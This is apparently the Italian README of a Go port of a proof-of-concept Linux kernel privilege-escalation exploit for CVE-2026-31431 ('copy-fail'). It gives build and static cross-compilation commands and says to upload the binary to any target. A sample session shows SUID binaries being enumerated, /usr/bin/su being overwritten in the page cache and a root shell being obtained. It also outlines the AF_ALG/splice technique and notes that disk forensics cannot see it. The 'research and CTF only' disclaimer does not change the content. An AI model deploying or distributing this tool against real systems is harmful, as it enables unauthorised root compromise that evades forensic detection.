
Port Go del PoC di escalation dei privilegi del kernel Linux CVE-2026-31431 (copy-fail), con enumerazione automatica dei binari SUID e selezione interattiva del target.
Porting in Go del PoC Python di grenkoca per CVE-2026-31431 (copy-fail).
Questa versione compila in un binario completamente statico con zero dipendenze runtime: niente Python, niente pip, nessun vincolo di versione libc. Caricalo su qualsiasi target Linux ed eseguilo. Inoltre enumera automaticamente tutti i binari SUID leggibili a livello mondiale sul target e ti permette di scegliere interattivamente quale sfruttare.
Solo per ricerca sulla sicurezza autorizzata e uso in CTF.
Scoperta da Theori e divulgata pubblicamente il 29 aprile 2026, Copy.Fail è un difetto logico nel modulo crittografico algif_aead del kernel Linux, introdotto tramite un'ottimizzazione del 2017. Colpisce ogni distribuzione Linux mainstream dal 2017.
Manipolando l'interfaccia crittografica AF_ALG del kernel, un utente non privilegiato può scrivere dati controllati direttamente nella page cache di Linux - la rappresentazione in memoria di binari di sistema affidabili. Questo consente di dirottare temporaneamente binari come /usr/bin/su senza modificare il file su disco, rendendo la forensics basata su disco cieca all'attacco.
A differenza di molti difetti LPE che dipendono da race condition o leak di indirizzi del kernel, Copy.Fail è altamente affidabile e funziona costantemente con un semplice account utente standard.
Impatto:
Kernel affetti: Ogni distribuzione dal 2017. Consulta il PoC originale di grenkoca per l'intervallo di versioni specifico.
| Strumento | Versione |
|---|---|
| Go | 1.21+ |
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
I flag -s -w rimuovono le informazioni di debug per ridurre la dimensione del binario. CGO_ENABLED=0 produce un binario completamente statico senza dipendenza da libc - caricalo su qualsiasi target Linux indipendentemente dalla versione di glibc.
| Target | Comando |
|---|---|
| Linux ARM64 | GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail . |
| Linux x86 32-bit | GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail . |
Trasferisci il binario sul target ed eseguilo (nessun root richiesto):
./copy-fail
Esempio di sessione:
CVE-2026-31431 (copy-fail) - Go PoC
Basato sul PoC originale di grenkoca
Scansione dei binari SUID leggibili a livello mondiale...
Binari SUID leggibili a livello mondiale trovati:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Seleziona il target [1-4]: 1
[*] Targeting: /usr/bin/su
[*] Scrittura di 48 byte in /usr/bin/su...
[+] Scrittura completata. Esecuzione del target...
# whoami
root
O_RDONLY - nessun permesso di scrittura necessario.AF_ALG (SOCK_SEQPACKET) legato alla trasformazione AEAD authencesn(hmac(sha256),cbc(aes)).sendmsg costruito con MSG_MORE e messaggi di controllo SOL_ALG per accodare un'operazione crittografica contro la voce della page cache del file target.splice(2) per spostare le pagine dal file al socket ALG, attivando il percorso vulnerabile del kernel che riscrive le pagine modificate della page cache senza ricontrollare i permessi del file.| Originale (Python) | Questo repo (Go) |
|---|
| Linguaggio | Python 3 | Go 1.21+ |
| Target | /usr/bin/su hardcoded | Rilevato automaticamente da scansione live del filesystem |
| Selezione del target | Nessuna | Menu interattivo numerato |
| Distribuzione | Script | Singolo binario statico (nessuna dipendenza runtime) |